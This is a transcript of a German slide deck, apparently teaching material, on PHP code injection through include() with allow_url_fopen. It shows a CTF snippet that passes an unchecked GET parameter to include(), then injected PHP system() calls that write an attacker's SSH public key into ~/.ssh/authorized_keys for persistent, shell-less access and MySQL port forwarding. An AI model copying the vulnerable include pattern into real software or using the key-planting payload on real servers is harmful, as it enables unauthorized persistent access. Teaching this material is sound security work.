Code-Injection in PHP Realworld Beispiel: SSH-Public Key per Code-Injection einbauen.

13
Code-Injection in PHP Realworld Beispiel: SSH- Public Key per Code- Injection einbauen

Transcript of Code-Injection in PHP Realworld Beispiel: SSH-Public Key per Code-Injection einbauen.

Page 1: Code-Injection in PHP Realworld Beispiel: SSH-Public Key per Code-Injection einbauen.

Code-Injection in PHP

Realworld Beispiel: SSH-Public Key per Code-Injection

einbauen

Page 2: Code-Injection in PHP Realworld Beispiel: SSH-Public Key per Code-Injection einbauen.

Grundlagen PHP

Methoden Code dynamisch zu laden• Include() und require() sowie deren

Pendants include_once() sowie require_once()

• eval()

Hier konzentrieren wir uns aufinclude() und require(), da

gebräuchlicher.

Page 3: Code-Injection in PHP Realworld Beispiel: SSH-Public Key per Code-Injection einbauen.

include und require

Grob: Mittels include und require kann eine Datei geladen werden

vars.php<?php

$color = 'green';

$fruit = 'apple';

?>

test.php<?php

echo "A $color $fruit"; // A

include 'vars.php';

echo "A $color $fruit"; // A green apple

?>

Page 4: Code-Injection in PHP Realworld Beispiel: SSH-Public Key per Code-Injection einbauen.

Einfache Programmierung?

PHP ermöglicht es den Programmierer, leicht Dateien über verschiedene Protokolle zu öffnen – Beispiel:<?php

$file = fopen ("ftp://ftp.example.com/incoming/outputfile", "w");

if (!$file) {

echo "<p>Unable to open remote file for writing.\n";

exit;

}

/* Write the data here. */

fwrite ($file, "My Data" . "\n");

fclose ($file);

?>

Page 5: Code-Injection in PHP Realworld Beispiel: SSH-Public Key per Code-Injection einbauen.

Teufelswerk allow_url_fopen

• allow_url_fopen erlaubt das Öffnen von Dateien mittels einer URL.

• Gilt nicht nur für File-Funktionen wie fopen, sondern auch für include(), require() usw.

• Ist per Default angeschaltet!

Page 6: Code-Injection in PHP Realworld Beispiel: SSH-Public Key per Code-Injection einbauen.

Code-Beispiel aus einem früheren CTF

myfuncs.php<?phpfunction myheader($title){ $menu = $_GET["menu"]; // [..] include($menu); // [..]}// [..]?>

Mit dem HTTP-Parameter menu wird angegeben welches Menü geladen werden soll:http://server/test.php?menu=mainmenu.php

test.php<?php

include(„myfuncs.php“);

// [..]

myheader(„test“);

// [..]

?>

Page 7: Code-Injection in PHP Realworld Beispiel: SSH-Public Key per Code-Injection einbauen.

Ausnutzung der Lücke

Page 8: Code-Injection in PHP Realworld Beispiel: SSH-Public Key per Code-Injection einbauen.

Abschluß Code-InjectionFragen?

Page 9: Code-Injection in PHP Realworld Beispiel: SSH-Public Key per Code-Injection einbauen.

Warum Einbau eines SSH-Public Keys

• Public Key Authentifikation – unabhängig vom User-Passwort in /etc/shadow

• SSH erlaubt Logins ohne Shell (z.B. nur Portforwarding) – normalerweise taucht eine Session auf:jtb@public:~$ whouser1 pts/1 Apr 26 10:18 (pd1234567.dip0.t-ipconnect.de)jtb pts/5 Apr 26 11:33 (x337.vpn.hrz.tu-darmstadt.de)

Page 10: Code-Injection in PHP Realworld Beispiel: SSH-Public Key per Code-Injection einbauen.

SSH-Verbindung ohne Shell

Beispielaufruf von SSH:ssh -T -i private.key –L 3306:localhost:3306 user@server

-T Disable pseudo-tty allocation.-i identity_file Selects a file from

which the identity (private key) for RSA or DSA authentication is read.

-L port:host:hostport Specifies that the given port on the local (client) host is to be forwarded to the given host and port on the remote side.

Page 11: Code-Injection in PHP Realworld Beispiel: SSH-Public Key per Code-Injection einbauen.

Verbindungsdiagramm

AngriffsrechnerAngriffsrechner OpferOpfer

Direkte MySQL-Verbindungen nicht möglich

Direkte MySQL-Verbindungen nicht möglich

Aber direkte SSH-Verbindung ist möglich!

Aber direkte SSH-Verbindung ist möglich!

SSHSSH

MySQLMySQL

Diese Verbindung kommt von localhost

Diese Verbindung kommt von localhost

Page 12: Code-Injection in PHP Realworld Beispiel: SSH-Public Key per Code-Injection einbauen.

SSH Public Key• Erstellen mit ssh-keygen:

ssh-keygen –t rsa• So sieht der private Schlüssel aus:

-----BEGIN RSA PRIVATE KEY-----MII [..] -----END RSA PRIVATE KEY-----

• Public Key wird hochgeladen, private Key bleibt bei euch!weibler@ultra18 ~/.ssh>cat authorized_keysssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgFZ4xz8EnOZ9x8TpMGV9kYBohRbG+QzW3UGfSV2AynOjUxlaABatDGnCskthsm60RWSkZns7m4Oy2Loyu0XXQzLXIebkfy7cYtrFmKrAKxF6zifDBxL7bsJ0XPujYzRJ7JSCyuQ+lrldY7NseI/PbfoIhwXYIa6RRrRcxWN6VXgdGIVq9xTjgaBVHRutOmttJVKtaiejJG0I9ZAjpTsGwyKkppzxXfDFgRfzxJozQSKLZOdKRVjoqxL1vc7p0GD0aOfSkWpQIGWyO6ziwy41CUFpAdE9uZB6F9abCxZkzWdz08w2K5ONlLgCyBVb/hlDgPS9PZaBjXe3qvMrm9R8J

Page 13: Code-Injection in PHP Realworld Beispiel: SSH-Public Key per Code-Injection einbauen.

PHP-Code für den Einbau

Beispielhaft mit system-Calls:<?php

system(„mkdir ~/.ssh“);

system(„echo ssh-rsa [KEY] > ~/.ssh/authorized_keys“);

?>